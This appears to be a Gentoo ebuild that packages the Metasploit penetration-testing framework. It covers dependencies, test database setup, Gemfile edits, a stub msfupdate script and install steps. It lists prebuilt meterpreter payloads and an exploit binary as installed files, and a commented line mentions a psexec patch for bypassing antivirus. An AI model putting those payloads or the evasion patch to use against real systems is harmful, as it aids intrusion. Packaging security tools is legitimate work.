#http://dev.metasploit.com/redmine/issues/8418 - worked around (fix user creation when possible)
RESTRICT="test"
RUBY_COMMON_DEPEND="virtual/ruby-ssl
dev-ruby/activesupport:3.2
dev-ruby/activerecord:3.2
dev-ruby/bcrypt-ruby
dev-ruby/builder:3
dev-ruby/bundler
dev-ruby/json
dev-ruby/kissfft
=dev-ruby/metasploit_data_models-0.20*
=dev-ruby/meterpreter_bins-0.0.7
dev-ruby/msgpack
dev-ruby/nokogiri
=dev-ruby/rkelly-remix-0.0.6
dev-ruby/sqlite3
>=dev-ruby/pg-0.11
=dev-ruby/packetfu-1.1.9
dev-ruby/rb-readline
dev-ruby/robots
java? ( dev-ruby/rjb )
lorcon? ( net-wireless/lorcon[ruby] )
oracle? ( dev-ruby/ruby-oci8 )
pcap? ( dev-ruby/pcaprub
dev-ruby/network_interface )
development? ( dev-ruby/fivemat
dev-ruby/redcarpet
dev-ruby/yard
>=dev-ruby/rake-10.0.0
>=dev-ruby/factory_girl-4.1.0 )"
ruby_add_bdepend "${RUBY_COMMON_DEPEND}
test? ( >=dev-ruby/factory_girl-4.1.0
dev-ruby/fivemat
dev-ruby/database_cleaner
>=dev-ruby/rspec-2.12
dev-ruby/shoulda-matchers
dev-ruby/timecop
>=dev-ruby/rake-10.0.0 )"
ruby_add_rdepend "${RUBY_COMMON_DEPEND}"
COMMON_DEPEND="dev-db/postgresql-server
>=app-crypt/johntheripper-1.7.9-r1[-minimal]
net-analyzer/nmap"
DEPEND+=" ${COMMON_DEPEND}"
RDEPEND+=" ${COMMON_DEPEND}
>=app-admin/eselect-metasploit-0.13"
RESTRICT="strip"
QA_PREBUILT="
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_armle_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_solaris.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_bsd.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsbe_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsle_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso
usr/$(get_libdir)/${PN}${SLOT}/data/exploits/CVE-2013-2171.bin
usr/$(get_libdir)/${PN}${SLOT}/data/android/libs/x86/libndkstager.so
usr/$(get_libdir)/${PN}${SLOT}/data/android/libs/mips/libndkstager.so
usr/$(get_libdir)/${PN}${SLOT}/data/android/libs/armeabi/libndkstager.so
"
pkg_setup() {
if use test; then
su postgres -c "dropdb msf_test_database" #this is intentionally allowed to fail
su postgres -c "createuser msf_test_user -d -S -R"
if [ $? -ne 0 ]; then
su postgres -c "dropuser msf_test_user" || die
su postgres -c "createuser msf_test_user -d -S -R" || die
fi
su postgres -c "createdb --owner=msf_test_user msf_test_database" || die
fi
ruby-ng_pkg_setup
}
all_ruby_unpack() {
if [[ ${PV} == "9999" ]] ; then
git-r3_src_unpack
else
default_src_unpack
mv "${WORKDIR}"/all/msf3/* "${WORKDIR}"/all
rm -r msf3
fi
}
all_ruby_prepare() {
# add psexec patch from pull request 2657 to allow custom exe templates from any files, bypassing most AVs
#epatch "${FILESDIR}/agix_psexec_pull-2657.patch"
epatch_user
#unbundle johntheripper, at least it now defaults to running the system version
rm -r data/john/run.*
rm -r data/john/src.tar.bz2
#remove random "cpuinfo" binaries which a only needed to detect which bundled john to run
rm -r data/cpuinfo
#remove random oudated collected garbage
rm -r external
#remove unneeded ruby bundler versioning files
#Gemfile.lock contains the versions tested by the msf team but not the hard requirements
#we regen this file in each_ruby_prepare
rm Gemfile.lock
#The Gemfile contains real known deps
#add our dep on upstream rb-readline instead of bundled one
sed -i "/gem 'packetfu'/a #use upstream readline instead of bundled\ngem 'rb-readline'" Gemfile || die
sed -i "/gem 'fivemat'/s/, '1.2.1'//" Gemfile || die
#remove the bundled readline
#https://github.com/rapid7/metasploit-framework/pull/3105
#this PR was closed due to numerous changes to their local fork, almost entirely for non-linux
rm lib/rbreadline.rb
#now we edit the Gemfile based on use flags
#even if we pass --without=blah bundler still calculates the deps and messes us up
if ! use pcap; then
sed -i -e "/^group :pcap do/,/^end$/d" Gemfile || die
fi
if ! use development; then
sed -i -e "/^group :development do/,/^end$/d" Gemfile || die
fi
if ! use test; then
sed -i -e "/^group :test/,/^end$/d" Gemfile || die
fi
if ! use test && ! use development; then
sed -i -e "/^group :development/,/^end$/d" Gemfile || die
fi
if use test; then
#We don't need simplecov
sed -i -e "s#gem 'simplecov', '0.5.4', :require => false##" Gemfile || die
sed -i -e "s#require 'simplecov'##" spec/spec_helper.rb || die
fi
#let's bogart msfupdate
rm msfupdate
echo "#!/bin/sh" > msfupdate
echo "echo \"[*]\"" >> msfupdate
echo "echo \"[*] Attempting to update the Metasploit Framework...\"" >> msfupdate
echo "echo \"[*]\"" >> msfupdate
echo "echo \"\"" >> msfupdate
if [[ ${PV} == "9999" ]] ; then
echo "if [ -x /usr/bin/smart-live-rebuild ]; then" >> msfupdate
echo " smart-live-rebuild -f net-analyzer/metasploit" >> msfupdate
echo "else" >> msfupdate
echo " echo \"Please install app-portage/smart-live-rebuild for a better experience.\"" >> msfupdate
echo "emerge --oneshot \"=${CATEGORY}/${PF}\"" >> msfupdate
echo "fi" >> msfupdate
else
echo "echo \"Unable to update tagged version of metasploit.\"" >> msfupdate
echo "echo \"If you want the latest please install and eselect the live version (metasploit9999)\"" >> msfupdate
echo "echo \"emerge metasploit:9999 -vat && eselect metasploit set metasploit9999\"" >> msfupdate
fi
#this is set executable in src_install
#install our database.yml file before tests are run
cp "${FILESDIR}"/database.yml config/
}
each_ruby_prepare() {
BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle install --local || die
BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle check || die
#force all metasploit executables to ruby19, ruby18 is not supported anymore and ruby20 is not supported yet
#https://dev.metasploit.com/redmine/issues/8357
for file in $(ls -1 msf*)
do
#poorly adapted from python.eclass
sed -e "1s:^#![[:space:]]*\([^[:space:]]*/usr/bin/env[[:space:]]\)\?[[:space:]]*\([^[:space:]]*/\)\?ruby\([[:digit:]]\+\(\.[[:digit:]]\+\)\?\)\?\(\$\|[[:space:]].*\):#!\1\2${RUBY}:" -i "${file}" || die "Conversion of shebang in '${file}' failed"
done
}
each_ruby_test() {
#review dev-python/pymongo for ways to make the test compatible with FEATURES=network-sandbox
#we bogart msfupdate so no point in trying to test it
rm spec/msfupdate_spec.rb || die
#we don't really want to be uploading to virustotal during the tests
rm spec/tools/virustotal_spec.rb || die
# https://dev.metasploit.com/redmine/issues/8425
BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle exec rake db:create || die
BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle exec rake db:migrate || die
MSF_DATABASE_CONFIG=config/database.yml BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle exec rake || die
su postgres -c "dropuser msf_test_user" || die "failed to cleanup msf_test-user"
}
each_ruby_install() {
#Tests have already been run, we don't need this stuff
rm -r spec || die
rm -r test || die
rm Gemfile.lock || die
#I'm 99% sure that this will only work for as long as we only support one ruby version. Creativity will be needed if we wish to support multiple.
# should be as simple as copying everything into the target...
dodir /usr/$(get_libdir)/${PN}${SLOT}
cp -R * "${ED}"/usr/$(get_libdir)/${PN}${SLOT} || die "Copy files failed"
rm -Rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/documentation "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/README.md
fowners -R root:0 /
}
all_ruby_install() {
# do not remove LICENSE, bug #238137
dodir /usr/share/doc/${PF}
cp -R {documentation,README.md} "${ED}"/usr/share/doc/${PF} || die
dosym /usr/share/doc/${PF}/documentation /usr/$(get_libdir)/${PN}${SLOT}/documentation
fperms +x /usr/$(get_libdir)/${PN}${SLOT}/msfupdate
#tell revdep-rebuild to ignore binaries meant for the target
dodir /etc/revdep-rebuild
cat <<-EOF > "${ED}"/etc/revdep-rebuild/99-metasploit${SLOT}
#These dirs contain prebuilt binaries for running on the TARGET not the HOST
SEARCH_DIRS_MASK="/usr/lib*/${PN}${SLOT}/data/meterpreter"
SEARCH_DIRS_MASK="/usr/lib*/${PN}${SLOT}/data/exploits"
SEARCH_DIRS_MASK="/usr/lib*/${PN}${SLOT}/data/android/libs"
EOF
}
pkg_postinst() {
elog "Before use you should run 'env-update' and '. /etc/profile'"
elog "otherwise you may be missing important environmental variables."
elog "You need to prepare the database by running:"
elog "emerge --config postgresql-server"
elog "/etc/init.d/postgresql-<version> start"
elog "emerge --config =metasploit-${PV}"
"${EROOT}"/usr/bin/eselect metasploit set --use-old ${PN}${SLOT}
einfo
elog "Adjust /usr/lib/${PN}${SLOT}/config/database.yml if necessary"
}
pkg_config() {
einfo "If the following fails, it is likely because you forgot to start/config postgresql first"
su postgres -c "createuser msf_user -D -S -R"
su postgres -c "createdb --owner=msf_user msf_database"
}